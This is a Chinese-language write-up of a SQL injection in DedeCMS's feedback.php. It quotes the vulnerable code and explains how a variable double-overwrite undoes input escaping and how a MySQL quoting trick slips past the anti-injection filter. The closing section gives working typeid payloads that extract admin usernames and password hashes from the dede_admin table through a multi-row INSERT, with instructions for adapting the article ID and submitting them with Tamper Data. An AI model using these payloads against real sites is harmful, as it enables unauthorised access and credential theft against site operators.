对最近dedecms注入的分析

漏洞文件: plus\feedback.php。

存在问题的代码:

…if($comtype == ‘comments’)

{

$arctitle = addslashes($title);

if($msg!=”)

{//$typeid变量未做初始化

$inquery = "INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)

VALUES (‘$aid’,’$typeid’,’$username’,’$arctitle’,’$ip’,’$ischeck’,’$dtime’, ‘{$cfg_ml->M_ID}’,’0′,’0′,’$feedbacktype’,’$face’,’$msg’); ";

echo $inquery;//调试，输出查询语句

$rs = $dsql->ExecuteNoneQuery($inquery);

if(!$rs)

{

ShowMsg(‘ 发表评论错误! ‘, ‘-1’);

//echo $dsql->GetError();

exit();

}

}

}

//引用回复

elseif ($comtype == ‘reply’)

{

$row = $dsql->GetOne("SELECT * FROM `dede_feedback` WHERE id =’$fid’");

$arctitle = $row[‘arctitle’];

$aid =$row[‘aid’];

$msg = $quotemsg.$msg;

$msg = HtmlReplace($msg, 2);

$inquery = "INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)

VALUES (‘$aid’,’$typeid’,’$username’,’$arctitle’,’$ip’,’$ischeck’,’$dtime’,'{$cfg_ml->M_ID}’,’0′,’0′,’$feedbacktype’,’$face’,’$msg’)";

$dsql->ExecuteNoneQuery($inquery);

}

完整的输入语句，第二个参数 typeid可控。

INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES (‘108′,’2′,’游客’,’paxmac’,’127.0.0.1′,’1′,’1351774092′, ‘0’,’0′,’0′,’feedback’,’0′,’nsfocus&&paxmac team’);

common.inc.php文件 会把所有的request进行处理。

function _RunMagicQuotes(&$svar)

{

if(!get_magic_quotes_gpc())

{

if( is_array($svar) )

{

foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);

}

else

{

if( strlen($svar)>0 && preg_match(‘#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#’,$svar) )

{

exit(‘Request var not allow!’);

}

$svar = addslashes($svar);

}

}

return $svar;

}

…..

foreach(Array(‘_GET’,’_POST’,’_COOKIE’) as $_request)

{

foreach($$_request as $_k => $_v)

{

if($_k == ‘nvarname’) ${$_k} = $_v;

else ${$_k} = _RunMagicQuotes($_v);

}

}

….

从上面代码可以看到他对外来的提交进行了转义处理，但是在filter.ini.php文件中

function _FilterAll($fk, &$svar)

{

global $cfg_notallowstr,$cfg_replacestr;

if( is_array($svar) )

{

foreach($svar as $_k => $_v)

{

$svar[$_k] = _FilterAll($fk,$_v);

}

}

else

{

if($cfg_notallowstr!=” && preg_match("#".$cfg_notallowstr."#i", $svar))

{

ShowMsg(" $fk has not allow words!",’-1′);

exit();

}

if($cfg_replacestr!=”)

{

$svar = preg_replace(‘/’.$cfg_replacestr.’/i’, "***", $svar);

}

}

return $svar;

}

/* 对_GET,_POST,_COOKIE进行过滤 */

foreach(Array(‘_GET’,’_POST’,’_COOKIE’) as $_request)

{

foreach($$_request as $_k => $_v)

{

${$_k} = _FilterAll($_k,$_v);

}

}上面是处理敏感词的代码，但是又对变量进行了注册，导致了变量二次覆盖漏洞。其实这漏洞很早前就存在，之前的是因为对提交的变量只检查一维数组的key，可以被绕过从而创建不允许的系统配置变量，dedecms历来的修改都让人摸不着头脑，修补的都是表面的东西，实质导致漏洞问题的原因不做修改。从这次的补丁看来，他就只加了一句判断$typeid是否为数字，对于80sec的防注入代码2次被绕过还继续无视。

所以在GPC=OFF的时候，被转义的变量又会被重新覆盖而变成正常代码。

Eg: typeid=2\’ 经过覆盖 typeid=2’

研究过上次dedecms SQL注入的问题的同学肯定了解他的防注入机制。这里做下简单的分析。他对于\到\之间的内容作为可信任，不对其进行检查。所以我们只要把想利用的代码放在’ ‘内就能躲过检查。利用Mysql的一个语法，他的值@`’`为空,下面来构造漏洞exp:

typeid=123′,@`’`,0×11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM dede_admin)),(108,’1111

我用tamper data提交此参数，

其实这里也利用了一个小bug

可以看到他的表结构，只有msg可以为null，但是利用代码中在username中用了null，这是非法的语句，单独插入是不会成功的，但是后面一句语句是成立的，insert (a,b) values (1,1)(2,2) (1,1,)非法 (2,2)符合条件的时候会成功同时插入2条语句。由于显示字符数量的问题，所以选择了msg字段作为输出。

补充 ：`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg` aid是文章的ID 所以直接用我的语句是不成功的,需要修改成自己的文章ID

typeid=123′,@`’`,0×11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM `dede_admin`)),(评论文章ID,’1111

如 Tamper提交，（文章id=123）msg改为 www.hack6.com

mcbang&typeid=0′,’3′,’4′,’5′,’0′,’1351739660′,%20’0′,’0′,’0′,’0′,’0′,’aaaaaa’),(‘123′,’2′,@`’`,’4′,’5′,’1′,’1351739660′,%20’0′,’0′,’0′,’0′,’0’,(SELECT concat(uname,0x5f,pwd,0x5f) from ‘@#__admin’)),(123,’2